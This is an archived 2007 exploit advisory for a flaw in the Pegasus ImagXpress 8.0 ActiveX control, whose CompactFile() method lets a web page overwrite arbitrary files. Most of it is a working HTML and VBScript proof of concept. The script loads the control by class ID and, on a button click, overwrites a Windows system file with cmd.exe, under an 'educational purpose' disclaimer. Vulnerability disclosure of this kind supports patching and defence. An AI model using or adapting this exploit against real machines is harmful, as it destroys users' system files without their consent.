pegasus-overwrite.txt
Posted on 06 October 2007
<pre> <code><span style="font: 10pt Courier New;"><span class="general1-symbol"><body bgcolor="#E0E0E0">----------------------------------------------------------------------------- <b>Pegasus Imaging ImagXpress 8.0 Remote Arbitrary File Overwrite</b> url: http://www.pegasusimaging.com/ Author: shinnai mail: shinnai[at]autistici[dot]org site: http://shinnai.altervista.org <b><font color='red'>This was written for educational purpose. Use it at your own risk. Author will be not responsible for any damage.</font></b> Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7 <b>Description: Component name: PegasusImaging.ActiveX.ImagXpress8.dll Vesrion: 8.0.41.0 This component contains an insecure "CompactFile()" which overwrites arbitrary files on user's pc. Passing to the first parameter (sourceFile) of the method an existing file as argument (e.g. a well known file as cmd.exe), the file passed as argument to the second parameter (destFile) will be overwrite.</b> ----------------------------------------------------------------------------- <object classid='clsid:6277B638-833D-4315-9D78-60FC451DAF07' id='test'></object> <input language=VBScript onclick=tryMe() type=button value='Click here to start the test'> <script language='vbscript'> Sub tryMe test.CompactFile "c:windowssystem32cmd.exe", "c:windowssystem_.ini" MsgBox "Exploit completed." End Sub </script> </span></span> </code></pre>